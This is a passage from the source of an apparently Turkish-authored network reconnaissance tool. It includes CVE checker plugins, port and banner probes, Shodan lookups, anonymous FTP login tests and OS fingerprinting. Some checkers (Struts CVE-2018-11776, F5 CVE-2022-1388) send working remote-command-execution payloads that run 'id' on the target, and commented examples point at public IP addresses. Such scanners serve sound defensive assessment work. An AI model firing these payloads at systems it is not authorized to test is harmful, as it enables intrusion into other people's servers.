30 | "(#ros.flush())}"
31 |
32 | try:
33 | response = requests.post(self.target_url, headers=headers, data=payload, timeout=10)
34 | if "Vulnerable" in response.text:
35 | print(f"{Fore.GREEN}[+]{Style.RESET_ALL} Vulnerable CVE-2017-5638 : {Fore.BLUE}https://www.exploit-db.com/exploits/41570{Style.RESET_ALL}")
36 | else:
37 | pass
38 | except Exception as e:
39 | pass
40 |
41 | """
42 | # Örnek Kullanım
43 | struts_scanner = ApacheStrutsScanner("http://example.com")
44 | struts_scanner.scan_for_apache_struts()
45 | """
--------------------------------------------------------------------------------
/plugins/cveScanner/CVE_2018_11776_scanner.py:
--------------------------------------------------------------------------------
1 | import requests
2 |
3 | class StrutsScanner:
4 | def __init__(self, target, timeout=5):
5 | self.target = target
6 | self.timeout = timeout
7 |
8 | def check_vulnerability(self):
9 | payload = "%24%7B(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3D%40java.lang.Runtime%40getRuntime().exec('id').getInputStream()%2C%23foo.read(new%20byte%5B9999%5D))%7D"
10 | headers = {"Content-Type": "application/x-www-form-urlencoded"}
11 |
12 | try:
13 | response = requests.post(self.target, data=payload, headers=headers, timeout=self.timeout)
14 | if "uid=" in response.text:
15 | return True # Vulnerable
16 | except Exception as e:
17 | pass
18 | return False # Not vulnerable or can't connect
19 |
20 | """
21 | target = "http://localhost:8080/showcase.action"
22 | scanner = StrutsScanner(target)
23 | print(scanner.check_vulnerability())
24 | """
--------------------------------------------------------------------------------
/plugins/cveScanner/CVE_2019_0708_scanner.py:
--------------------------------------------------------------------------------
1 | import socket
2 | from struct import pack
3 | from colorama import Fore, Style, init
4 |
5 | init(autoreset=True)
6 |
7 |
8 | class BlueKeepScanner:
9 | def __init__(self, ip_address, port=3389):
10 | self.ip_address = ip_address
11 | self.port = port
12 |
13 | def scan_for_bluekeep(self):
14 | with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
15 | s.settimeout(3)
16 | try:
17 | s.connect((self.ip_address, self.port))
18 | pkt = b'\x03\x00\x00\x13\x0e\xe0\x00\x00\x00\x00\x00\x01\x00\x08\x00\x03\x00\x00\x00'
19 | s.send(pkt)
20 | response = s.recv(1024)
21 |
22 | if response and b"\x03\x00\x00\x13\x0e\xd0" in response:
23 | print(
24 | f"{Fore.GREEN}[+]{Style.RESET_ALL} Vulnerable CVE-2019-0708 : {Fore.BLUE}https://www.exploit-db.com/exploits/47416{Style.RESET_ALL}")
25 | else:
26 | pass
27 | except Exception as e:
28 | pass
29 |
30 | """
31 | # Örnek Kullanım
32 | bluekeep_scanner = BlueKeepScanner("43.143.173.245")
33 | bluekeep_scanner.scan_for_bluekeep()
34 | """
--------------------------------------------------------------------------------
/plugins/cveScanner/CVE_2020_0688_scanner.py:
--------------------------------------------------------------------------------
1 | import requests
2 | from urllib3.exceptions import InsecureRequestWarning
3 | requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
4 |
5 | class CVE20200688Tester:
6 | def __init__(self, target):
7 | self.target = target
8 |
9 | def check_vulnerability(self):
10 | url = f"https://{self.target}/ecp/default.aspx"
11 | headers = {"User-Agent": "Mozilla/5.0"}
12 |
13 | try:
14 | response = requests.get(url, headers=headers, verify=False, timeout=5)
15 | # __VIEWSTATEGENERATOR parametresinin varlığı kontrol edilir
16 | if "__VIEWSTATEGENERATOR" in response.text:
17 | return True # Potansiyel olarak savunmasız
18 | except requests.RequestException as e:
19 | pass
20 | return False # Erişilemez veya savunmasız değil
21 |
22 |
23 | """
24 | if __name__ == "__main__":
25 | target = input("Hedef Exchange sunucusu (örn: exchange.example.com): ")
26 | tester = CVE20200688Tester(target)
27 |
28 | if tester.check_vulnerability():
29 | print(f"{target} CVE-2020-0688 zafiyetine karşı savunmasız!")
30 | else:
31 | print(f"{target} CVE-2020-0688 zafiyetine karşı savunmasız değil veya erişilemez.")
32 | """
--------------------------------------------------------------------------------
/plugins/cveScanner/CVE_2020_0796_scanner.py:
--------------------------------------------------------------------------------
1 | import socket
2 | import struct
3 | from colorama import Style,Fore,init
4 |
5 | init(autoreset=True)
6 |
7 | class SMBVulnerabilityChecker:
8 | def __init__(self, ip_address):
9 | self.ip_address = ip_address
10 | self.socket = None
11 |
12 | def connect(self):
13 | self.socket = socket.socket(socket.AF_INET)
14 | self.socket.settimeout(3)
15 | try:
16 | self.socket.connect((self.ip_address, 445))
17 | return True
18 | except Exception as e:
19 | return False
20 |
21 | def send_packet(self):
22 | pkt = b'\x00\x00\x00\xc0\xfeSMB@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00$\x00\x08\x00\x01\x00\x00\x00\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00x\x00\x00\x00\x02\x00\x00\x00\x02\x02\x10\x02"\x02$\x02\x00\x03\x02\x03\x10\x03\x11\x03\x00\x00\x00\x00\x01\x00&\x00\x00\x00\x00\x00\x01\x00 \x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\n\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00'
23 | self.socket.send(pkt)
24 |
25 | def check_vulnerability(self):
26 | try:
27 | response = self.socket.recv(4)
28 | if len(response) != 4:
29 | return False
30 |
31 | nb, = struct.unpack(">I", response)
32 | res = self.socket.recv(nb)
33 |
34 | if not res[68:70] == b"\x11\x03" or not res[70:72] == b"\x02\x00":
35 | return False
36 | else:
37 | print(f"{Fore.GREEN}[+]{Style.RESET_ALL} Vulnerable CVE-2020-0796 :{Fore.BLUE} https://www.exploit-db.com/exploits/48537{Style.RESET_ALL}")
38 | return True
39 | except Exception as e:
40 | return False
41 |
42 | def close(self):
43 | if self.socket:
44 | self.socket.close()
45 |
46 | """
47 | if __name__ == "__main__":
48 | ip_address = input("Enter IP address: ")
49 | checker = SMBVulnerabilityChecker(ip_address)
50 |
51 | if checker.connect():
52 | checker.send_packet()
53 | checker.check_vulnerability()
54 |
55 | checker.close()
56 | """
--------------------------------------------------------------------------------
/plugins/cveScanner/CVE_2020_1938_scanner.py:
--------------------------------------------------------------------------------
1 | import socket
2 |
3 | class GhostcatScanner:
4 | def __init__(self, target, port=8009, timeout=5):
5 | self.target = target
6 | self.port = port
7 | self.timeout = timeout
8 |
9 | def check_vulnerability(self):
10 | # Apache JServ Protocol (AJP) request packet for Ghostcat vulnerability
11 | ajp_request = bytearray([
12 | 0x12, 0x34, 0x00, 0x08, 0x48, 0x54, 0x54, 0x50, 0x31, 0x2e, 0x31, 0x00, 0x0A, 0x00, 0x00, 0x00,
13 | 0x02, 0x00, 0x00, 0x00, 0x00, 0x00
14 | ])
15 |
16 | try:
17 | with socket.create_connection((self.target, self.port), self.timeout) as sock:
18 | sock.sendall(ajp_request)
19 | response = sock.recv(1024)
20 | if response:
21 | return True # Vulnerable
22 | except Exception as e:
23 | pass
24 | return False
25 |
26 | """
27 | target= "10.0.2.81"
28 | scanner = GhostcatScanner(target)
29 | print(scanner.check_vulnerability())
30 | """
--------------------------------------------------------------------------------
/plugins/cveScanner/CVE_2022_1388_scanner.py:
--------------------------------------------------------------------------------
1 | import requests
2 |
3 | class CVE20221388Scanner:
4 | def __init__(self, target, timeout=5):
5 | self.target = target
6 | self.timeout = timeout
7 |
8 | def check_vulnerability(self):
9 | # CVE-2022-1388 zafiyetini test etmek için özel bir istek
10 | url = f"https://{self.target}/mgmt/tm/util/bash"
11 | headers = {
12 | "User-Agent": "Mozilla/5.0",
13 | "X-F5-Auth-Token": "anything",
14 | "Connection": "X-F5-Auth-Token",
15 | "Authorization": "Basic YWRtaW46QVNhc1M=" # Rastgele bir Base64 kodlanmış kullanıcı adı ve şifre
16 | }
17 | data = '{"command":"run","utilCmdArgs":"-c id"}'
18 |
19 | try:
20 | response = requests.post(url, headers=headers, data=data, verify=False, timeout=self.timeout)
21 | if response.status_code == 200 and "uid=" in response.text:
22 | return True # Savunmasız
23 | except requests.RequestException:
24 | pass
25 | return False # Erişilemez veya savunmasız değil
26 |
--------------------------------------------------------------------------------
/plugins/cveScanner/CVE_2022_22784_scanner.py:
--------------------------------------------------------------------------------
1 | import requests
2 |
3 | class CVE202222784Scanner:
4 | def __init__(self, target, timeout=5):
5 | self.target = target
6 | self.timeout = timeout
7 |
8 | def check_vulnerability(self):
9 | # CVE-2022-22784 zafiyetini test etmek için özel bir istek
10 | url = f"http://{self.target}/cgi-bin/config.exp" # Zafiyetli URL
11 | headers = {"User-Agent": "Mozilla/5.0"}
12 |
13 | try:
14 | response = requests.get(url, headers=headers, timeout=self.timeout)
15 | if response.status_code == 200 and "sysconfig" in response.text:
16 | return True # Savunmasız
17 | except requests.RequestException:
18 | pass
19 | return False # Erişilemez veya savunmasız değil
20 |
--------------------------------------------------------------------------------
/plugins/cveScanner/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/HalilDeniz/NetworkSherlock/11cf630c43837312fcc8fb027583176909f54368/plugins/cveScanner/__init__.py
--------------------------------------------------------------------------------
/plugins/main.py:
--------------------------------------------------------------------------------
1 | from plugins.cveScanner.CVE_2014_0160_scanner import HeartbleedScanner
2 | from plugins.cveScanner.CVE_2014_6271_scanner import ShellshockScanner
3 | from plugins.cveScanner.CVE_2017_0144_scanner import EternalBlueScanner
4 | from plugins.cveScanner.CVE_2017_5638_scanner import ApacheStrutsScanner
5 | from plugins.cveScanner.CVE_2018_11776_scanner import StrutsScanner
6 | from plugins.cveScanner.CVE_2019_0708_scanner import BlueKeepScanner
7 | from plugins.cveScanner.CVE_2020_0688_scanner import CVE20200688Tester
8 | from plugins.cveScanner.CVE_2020_0796_scanner import SMBVulnerabilityChecker
9 | from plugins.cveScanner.CVE_2020_1938_scanner import GhostcatScanner
10 | from plugins.cveScanner.CVE_2022_1388_scanner import CVE20221388Scanner
11 | from plugins.cveScanner.CVE_2022_22784_scanner import CVE202222784Scanner
12 |
13 | class CVE_Scanner_Main:
14 | def __init__(self, ip):
15 | self.ip = ip
16 |
17 | def run_all_scans(self, ports):
18 | results = {}
19 |
20 | http_url = f"http://{self.ip}"
21 | https_url = f"https://{self.ip}"
22 | try:
23 | if '443' in ports:
24 | heartbleed_scanner = HeartbleedScanner(https_url)
25 | results['Heartbleed'] = heartbleed_scanner.check_vulnerability()
26 |
27 | for port in ['80', '443']:
28 | url = https_url if port == '443' else http_url
29 |
30 | if port in ports:
31 | shellshock_scanner = ShellshockScanner(f"{url}/cgi-bin/test.cgi")
32 | results['Shellshock'] = shellshock_scanner.scan_for_shellshock()
33 |
34 | struts_scanner = ApacheStrutsScanner(f"{url}/showcase.action")
35 | results['ApacheStruts'] = struts_scanner.scan_for_apache_struts()
36 |
37 |
38 | struts2_scanner = StrutsScanner(url)
39 | results['CVE2018-11776'] = struts2_scanner.check_vulnerability()
40 |
41 | if port == '443':
42 | cve20200688_scanner = CVE20200688Tester(url)
43 | results['CVE-2020-0688'] = cve20200688_scanner.check_vulnerability()
44 |
45 | if '445' in ports:
46 | smbghost_scanner = SMBVulnerabilityChecker(self.ip)
47 | results['SMBGhost'] = smbghost_scanner.check_vulnerability()
48 |
49 | if '8009' in ports:
50 | ghostcat_scanner = GhostcatScanner(self.ip)
51 | results['Ghostcat'] = ghostcat_scanner.check_vulnerability()
52 |
53 | if '3389' in ports:
54 | bluekeep_scanner = BlueKeepScanner(self.ip)
55 | results['BlueKeep'] = bluekeep_scanner.scan_for_bluekeep()
56 |
57 | if '139' in ports or '445' in ports:
58 | eternalblue_scanner = EternalBlueScanner(self.ip)
59 | results['EternalBlue'] = eternalblue_scanner.scan_for_eternalblue()
60 |
61 | if '445' in ports:
62 | cve202222784_scanner = CVE202222784Scanner(self.ip)
63 | results['CVE-2022-22784'] = cve202222784_scanner.check_vulnerability()
64 |
65 | if '443' in ports:
66 | cve20221388_scanner = CVE20221388Scanner(self.ip)
67 | results['CVE-2022-1388'] = cve20221388_scanner.check_vulnerability()
68 | except:
69 | pass
70 | return results
--------------------------------------------------------------------------------
/plugins/onlinescanner/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/HalilDeniz/NetworkSherlock/11cf630c43837312fcc8fb027583176909f54368/plugins/onlinescanner/__init__.py
--------------------------------------------------------------------------------
/plugins/onlinescanner/shodanscanner.py:
--------------------------------------------------------------------------------
1 | import shodan
2 | import configparser
3 | from colorama import Fore, Style
4 |
5 | class ShodanScanner:
6 | def __init__(self, config_file):
7 | self.config_file = config_file
8 | self.shodan_key = self.load_shodan_key()
9 | self.shodan_api = shodan.Shodan(self.shodan_key) if self.shodan_key else None
10 |
11 | def load_shodan_key(self):
12 | config = configparser.ConfigParser()
13 | config.read(self.config_file)
14 | return config.get('SHODAN', 'api_key', fallback=None)
15 |
16 | def perform_scan(self, ip):
17 | try:
18 | shodan_result = self.shodan_api.host(ip)
19 | return shodan_result
20 | except shodan.APIError as e:
21 | pass
22 | return None
23 |
24 | def format_shodan_info(self, shodan_result):
25 | shodan_info = ""
26 | if not shodan_result:
27 | return shodan_info
28 |
29 | # Extract and format relevant information from the Shodan result
30 | os_info = shodan_result.get('os', None)
31 | if os_info:
32 | shodan_info += f" \t{' ' * 5}{Fore.CYAN}- OS : {Style.RESET_ALL}{os_info}\n"
33 |
34 | asn_info = shodan_result.get('asn', 'Unknown ASN')
35 | org_info = shodan_result.get('org', 'Unknown Organization')
36 | shodan_info += f" \t{' ' * 5}{Fore.CYAN}- ASN : {Style.RESET_ALL}{asn_info}\n"
37 | shodan_info += f" \t{' ' * 5}{Fore.CYAN}- Org : {Style.RESET_ALL}{org_info}\n"
38 |
39 | domains = shodan_result.get('domains', [])
40 | if domains:
41 | domain_info = ', '.join(domains)
42 | shodan_info += f" \t{' ' * 5}{Fore.CYAN}- Domains : {Style.RESET_ALL}{domain_info}\n"
43 |
44 | for service_info in shodan_result.get('data', []):
45 | product = service_info.get('product')
46 | version = service_info.get('version')
47 | if product or version:
48 | shodan_info += f" \t{' ' * 5}{Fore.CYAN}- Service :{Style.RESET_ALL} {product or 'Unknown'} Version: {version or 'Unknown'}\n"
49 |
50 | geoloc_info = shodan_result.get('location', {})
51 | if geoloc_info:
52 | city = geoloc_info.get('city', 'Unknown City')
53 | country = geoloc_info.get('country_name', 'Unknown Country')
54 | shodan_info += f" \t{' ' * 5}{Fore.CYAN}- Location :{Style.RESET_ALL} {city}, {country}\n"
55 |
56 | for item in shodan_result.get('data', []):
57 | if 'netbios' in item and 'name' in item['netbios']:
58 | netbios_name = item['netbios']['name']
59 | shodan_info += f" \t{' ' * 5}{Fore.CYAN}- NetBIOS Name: {Style.RESET_ALL}{netbios_name}\n"
60 |
61 | hostnames = shodan_result.get('hostnames', [])
62 | if hostnames:
63 | hostname_info = ', '.join(hostnames)
64 | shodan_info += f" \t{' ' * 5}{Fore.CYAN}- Server Names: {Style.RESET_ALL}{hostname_info}\n"
65 |
66 | return shodan_info
67 |
--------------------------------------------------------------------------------
/plugins/protocolscan/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/HalilDeniz/NetworkSherlock/11cf630c43837312fcc8fb027583176909f54368/plugins/protocolscan/__init__.py
--------------------------------------------------------------------------------
/plugins/protocolscan/bannerScanner.py:
--------------------------------------------------------------------------------
1 | import socket
2 |
3 | class BannerScanner:
4 | def __init__(self, ip, port):
5 | self.ip = ip
6 | self.port = port
7 |
8 | def banner_grabbing(self):
9 | try:
10 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
11 | sock.settimeout(1)
12 | sock.connect((self.ip, self.port))
13 | if self.port == 80 or self.port == 443:
14 | sock.send(b"HEAD / HTTP/1.1\r\nHost: " + self.ip.encode() + b"\r\n\r\n")
15 | elif self.port == 21:
16 | sock.send(b"USER anonymous\r\n")
17 | elif self.port == 22:
18 | sock.send(b"SSH-2.0-OpenSSH_7.3\r\n")
19 | elif self.port == 25:
20 | sock.send(b"HELO " + self.ip.encode() + b"\r\n")
21 | elif self.port == 23:
22 | sock.send(b"\xFF\xFD\x18\xFF\xFD\x20\xFF\xFD\x23\xFF\xFD\x27\xFF\xFA\x1F\x00\x50\x00\x18\xFF\xF0")
23 | elif self.port == 3306:
24 | sock.send(b"\x05\x00\x00\x01\x85\xa6\x03\x00\x00\x00\x00\x21\x00\x00\x00\x02\x3f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00")
25 | elif self.port == 139 or self.port == 445:
26 | sock.send(b"\x00\x00\x00\x85\xff\x53\x4d\x42\x72\x00\x00\x00\x00\x18\x53\xc8\x17\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x2f\x4b\x00\x00\x00\x00\x00\x31\x00\x02\x50\x43\x20\x4e\x45\x54\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c\x4d\x20\x30\x2e\x31\x32\x00")
27 | elif self.port == 3389:
28 | sock.send(b"\x03\x00\x00\x13\x0E\xE0\x00\x00\x00\x00\x00\x01\x00\x08\x00\x03\x00\x00\x00")
29 | banner = sock.recv(1024).decode("utf-8", errors="ignore").strip()
30 | return banner.split("\n")[0]
31 | except Exception as e:
32 | return ""
33 |
--------------------------------------------------------------------------------
/plugins/protocolscan/databasesscanner.py:
--------------------------------------------------------------------------------
1 | import socket
2 |
3 | class DatabaseScanner:
4 | def __init__(self, target, port, timeout=5):
5 | self.target = target
6 | self.port = port
7 | self.timeout = timeout
8 |
9 | def scan_database(self):
10 | if self.port == 3306: # MySQL
11 | return self.scan_mysql()
12 | elif self.port == 5432: # PostgreSQL
13 | return self.scan_postgresql()
14 | else:
15 | return "Unknown Database Service"
16 |
17 | def scan_mysql(self):
18 | try:
19 | with socket.create_connection((self.target, self.port), timeout=self.timeout) as sock:
20 | greeting = sock.recv(1024)
21 | server_info = self.parse_mysql_greeting(greeting)
22 |
23 | if server_info.get("server_version"):
24 | return f"MySQL Server\n - Version: {server_info['server_version']}\n - Protocol Version: {server_info['protocol_version']}\n - Capabilities: {server_info['capabilities']}"
25 | else:
26 | return "MySQL greeting not received or parsed correctly"
27 | except Exception as e:
28 | return f"Failed to scan MySQL: {e}"
29 |
30 | def parse_mysql_greeting(self, data):
31 | try:
32 | data = data[4:]
33 | protocol_version = data[0]
34 | data = data[1:]
35 | version_end = data.find(b'\x00')
36 | server_version = data[:version_end].decode('utf-8', 'ignore')
37 | data = data[version_end + 1:]
38 | data = data[4 + 8 + 1:]
39 | capabilities = int.from_bytes(data[:2], byteorder='little')
40 | data = data[2:]
41 | return {
42 | "protocol_version": protocol_version,
43 | "server_version": server_version,
44 | "capabilities": capabilities}
45 | except Exception as e:
46 | return {"error": f"Error parsing greeting: {e}"}
47 |
48 | def scan_postgresql(self):
49 | try:
50 | with socket.create_connection((self.target, self.port), timeout=self.timeout) as sock:
51 | # Send a startup message
52 | startup_message = self.create_startup_message()
53 | sock.sendall(startup_message)
54 |
55 | response = sock.recv(1024)
56 | server_info = self.parse_postgresql_response(response)
57 | return server_info
58 | except Exception as e:
59 | return f"Failed to scan PostgreSQL: {e}"
60 |
61 | def create_startup_message(self):
62 | message = b"\x00\x03\x00\x00user\x00postgres\x00\x00"
63 | length = len(message) + 4
64 | return length.to_bytes(4, byteorder='big') + message
65 |
66 | def parse_postgresql_response(self, response):
67 | # PostgreSQL response parsing
68 | if response[0] == 0x52: # 'R' for authentication request
69 | auth_type = int.from_bytes(response[5:9], byteorder='big')
70 | auth_message = {
71 | 0: "Trust Authentication",
72 | 2: "Kerberos v5 Authentication",
73 | 3: "Password Authentication",
74 | 5: "MD5 Password Authentication",
75 | 6: "SCM Credential Authentication",
76 | 7: "GSSAPI Authentication",
77 | 9: "SSPI Authentication",
78 | 10: "SASL Authentication"
79 | }.get(auth_type, "Unknown Authentication")
80 | return f"PostgreSQL Server\n - Status: Authentication Requested\n - Auth Type: {auth_message}"
81 | elif response[0] == 0x45: # 'E' for error
82 | error_message = self.parse_error_message(response)
83 | return f"PostgreSQL Server\n - Status: Error Returned\n - Error: {error_message}"
84 | else:
85 | return "PostgreSQL Server\n - Status: Unknown Response"
86 | def parse_error_message(self, response):
87 | # Extract the error message details from the response
88 | response = response[5:] # Skip message type and length
89 | fields = response.split(b'\x00')
90 | error_fields = {field[0]: field[1:].decode('utf-8', 'ignore') for field in fields if field}
91 | return error_fields.get(b'M', "Unknown Error")
92 |
93 | while True:
94 | test = input(">>>> ")
95 | os_scanner = DatabaseScanner(test,3306)
96 | os_guess = os_scanner.scan_postgresql()
97 | print(f"Detected OS/Device Type: {os_guess}")
98 |
--------------------------------------------------------------------------------
/plugins/protocolscan/ftpanonloginscanner.py:
--------------------------------------------------------------------------------
1 | import socket
2 |
3 | class FtpAnonLoginScanner:
4 | def __init__(self, target, port=21, timeout=5):
5 | self.target = target
6 | self.port = port
7 | self.timeout = timeout
8 |
9 | def check_anon_login(self):
10 | try:
11 | with socket.create_connection((self.target, self.port), timeout=self.timeout) as sock:
12 | sock.settimeout(self.timeout)
13 | response = self._recv_response(sock)
14 | if "220" in response:
15 | sock.sendall(b"USER anonymous\r\n")
16 | response = self._recv_response(sock)
17 | if "331" in response: # Şifre isteniyor mu kontrol et
18 | sock.sendall(b"PASS anonymous\r\n")
19 | response = self._recv_response(sock)
20 | if "230" in response:
21 | return True
22 | except socket.timeout:
23 | pass
24 | except socket.error as e:
25 | pass
26 | return False
27 |
28 | def _recv_response(self, sock):
29 | return sock.recv(4096).decode('utf-8', 'ignore').strip()
30 |
31 |
32 |
33 | """target_ip = "124.221.60.110"
34 | scanner = FtpAnonLoginScanner(target_ip)
35 | if scanner.check_anon_login():
36 | print(f"[+] Anonymous FTP login possible at {target_ip}.")
37 | else:
38 | print(f"[+] Anonymous FTP login does not possible at {target_ip}.")
39 | """
--------------------------------------------------------------------------------
/plugins/protocolscan/osfingerscanner.py:
--------------------------------------------------------------------------------
1 | import ssl
2 | import socket
3 | from colorama import Style, init, Fore
4 | from cryptography import x509
5 | from cryptography.hazmat.backends import default_backend
6 |
7 | class OSFingerprintScanner:
8 | def __init__(self, target, timeout=3):
9 | self.target = target
10 | self.timeout = timeout
11 |
12 | def guess_os(self):
13 | common_ports = [
14 | 21, # FTP
15 | 22, # SSH
16 | 23, # Telnet
17 | 25, # SMTP
18 | 80, # HTTP
19 | 110, # POP3
20 | 139, # smb
21 | 143, # IMAP
22 | 443, # HTTPS
23 | 445, # smb
24 | 3389, # RDP
25 | 8080, # HTTP alternative
26 | 8443 # HTTPS alternative
27 | ]
28 | for port in common_ports:
29 | try:
30 | with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:
31 | sock.settimeout(self.timeout)
32 | sock.connect((self.target, port))
33 | request = self.prepare_request(port)
34 | sock.send(request)
35 | response = sock.recv(4096).decode('utf-8', 'ignore').strip()
36 | os_guess = self.parse_os_from_response(response)
37 | if os_guess != "Unknown":
38 | return os_guess
39 | except Exception as e:
40 | continue
41 | return "Unknown"
42 |
43 | def prepare_request(self, port):
44 | # Differentiate requests based on the port
45 | if port in [80, 8080]: # HTTP
46 | return b"HEAD / HTTP/1.1\r\nHost: " + self.target.encode() + b"\r\n\r\n"
47 | elif port in [443, 8443]: # HTTPS
48 | # Initiate a basic TLS handshake - this is a simplistic approach
49 | context = ssl.create_default_context()
50 | with socket.create_connection((self.target, port)) as sock:
51 | with context.wrap_socket(sock, server_hostname=self.target) as ssock:
52 | return ssock.version().encode() # Just get the TLS version as a basic example
53 | elif port == 22: # SSH
54 | return b"\r\n" # Banner grab for SSH
55 | elif port == 21: # FTP
56 | return b"HELP\r\n" # FTP HELP command for banner/info grab
57 | elif port == 25: # SMTP
58 | return b"EHLO " + self.target.encode() + b"\r\n" # EHLO command for SMTP
59 | elif port == 110: # POP3
60 | return b"USER test\r\n" # POP3 USER command for initial interaction
61 | elif port == 143: # IMAP
62 | return b"a1 LOGIN user pass\r\n" # IMAP LOGIN command for initial interaction
63 | elif port == 161: # SNMP
64 | return b"\x30\x26\x02\x01\x01\x04\x06\x70\x75\x62\x6c\x69\x63\xa0\x19\x02\x04\x67\x45\x23\x02\x02\x01\x00\x02\x01\x00\x30\x0e\x30\x0c\x06\x08\x2b\x06\x01\x02\x01\x01\x01\x00\x05\x00" # SNMP GET request
65 | elif port == 3389: # RDP
66 | return b"\x03\x00\x00\x13\x0e\xe0\x00\x00\x00\x00\x00\x01\x00\x08\x00\x03\x00\x00\x00" # RDP initial connection request
67 | elif port == 53: # DNS
68 | return b"\xaa\xaa\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00\x07\x65\x78\x61\x6d\x70\x6c\x65\x03\x63\x6f\x6d\x00\x00\x01\x00\x01" # DNS standard query
69 | else:
70 | return b"HEAD / HTTP/1.0\r\n\r\n"
71 |
72 | def parse_os_from_response(self, response):
73 | windows_keywords = ["Microsoft", "IIS", "Windows", "Win32", "Win64", "ASP.NET", "NT", "Outlook", "Exchange", "SMB"]
74 | unix_linux_keywords = ["Apache", "Debian", "Ubuntu", "Fedora", "Red Hat", "CentOS", "Unix", "Linux", "nginx", "OpenSSH","Postfix", "CUPS", "SUSE", "Gentoo", "Slackware"]
75 | cisco_keywords = ["Cisco", "IOS", "Catalyst", "ASA", "Nexus", "Meraki", "Aironet", "WebEx"]
76 | iot_keywords = ["IoT", "SmartHome", "Netcam", "ESP8266", "ESP32", "Arduino", "Raspberry Pi", "HomeKit", "Z-Wave", "Zigbee"]
77 | dell_server_keywords = ["Dell", "PowerEdge", "EqualLogic", "Compellent", "Force10", "EMC"]
78 | vmware_keywords = ["VMware", "ESXi", "vSphere", "Workstation", "Fusion", "Horizon"]
79 | apple_keywords = ["Mac OS", "MacOS", "Apple", "Darwin", "iMac", "MacBook", "AirPort", "Safari"]
80 | android_keywords = ["Android", "Google", "Pixel", "Nexus", "Galaxy", "HTC"]
81 | aws_keywords = ["Amazon", "AWS", "EC2", "Elastic Beanstalk", "S3"]
82 | azure_keywords = ["Azure", "Microsoft", "Windows Azure", "Azure DevOps", "Azure Active Directory"]
83 | google_cloud_keywords = ["Google Cloud", "GCP", "Google Compute Engine", "App Engine", "GKE"]
84 | cloudflare_keywords = ["Cloudflare", "CF-RAY", "cloudflare-nginx", "CF-Cache-Status"]
85 |
86 | if any(keyword in response for keyword in windows_keywords):
87 | return "Windows"
88 | elif any(keyword in response for keyword in unix_linux_keywords):
89 | return "Unix/Linux"
90 | elif any(keyword in response for keyword in cisco_keywords):
91 | return "Cisco Device"
92 | elif any(keyword in response for keyword in iot_keywords):
93 | return "IoT Device"
94 | elif any(keyword in response for keyword in dell_server_keywords):
95 | return "Dell Server"
96 | elif any(keyword in response for keyword in vmware_keywords):
97 | return "VMware Server"
98 | elif any(keyword in response for keyword in apple_keywords):
99 | return "Apple Device"
100 | elif any(keyword in response for keyword in android_keywords):
101 | return "Android Device"
102 | elif any(keyword in response for keyword in aws_keywords):
103 | return "AWS Cloud"
104 | elif any(keyword in response for keyword in azure_keywords):
105 | return "Azure Cloud"
106 | elif any(keyword in response for keyword in google_cloud_keywords):
107 | return "Google Cloud"
108 | elif any(keyword in response for keyword in cloudflare_keywords):
109 | return "Cloudflare Service"
110 | else:
111 | return "Unknown"
112 |
113 | """
114 | while True:
115 | test = input(f"{Fore.BLUE}>>>> {Style.RESET_ALL}")
116 | os_scanner = OSFingerprintScanner(test)
117 | os_guess = os_scanner.guess_os()
118 | print(f"Detected OS/Device Type: {Fore.GREEN}{os_guess}{Style.RESET_ALL}")
119 | """
--------------------------------------------------------------------------------
/plugins/protocolscan/sllscanner.py:
--------------------------------------------------------------------------------
1 | import ssl
2 | import socket
3 | from datetime import datetime
4 |
5 | class TLSCertScanner:
6 | def __init__(self, target, port=443, timeout=5):
7 | self.target = target
8 | self.port = port
9 | self.timeout = timeout
10 |
11 | def get_certificate_details(self):
12 | context = ssl.create_default_context()
13 | try:
14 | with socket.create_connection((self.target, self.port), timeout=self.timeout) as sock:
15 | with context.wrap_socket(sock, server_hostname=self.target) as ssock:
16 | cert = ssock.getpeercert()
17 | return self.parse_certificate(cert)
18 | except socket.timeout:
19 | pass
20 | except ssl.SSLError as e:
21 | pass
22 | except socket.error as e:
23 | pass
24 | except Exception as e:
25 | pass
26 | return None
27 |
28 | def parse_certificate(self, cert):
29 | if not cert:
30 | return None
31 |
32 | # Sertifikanın 'subject' ve 'issuer' alanlarını ayrıştırma
33 | subject = dict(x[0] for x in cert['subject'])
34 | issuer = dict(x[0] for x in cert['issuer'])
35 |
36 | # 'CN' (Common Name) veya alternatif anahtarları kontrol etme
37 | subject_cn = subject.get('commonName', subject.get('organizationName', 'Unknown'))
38 | issuer_cn = issuer.get('commonName', issuer.get('organizationName', 'Unknown'))
39 |
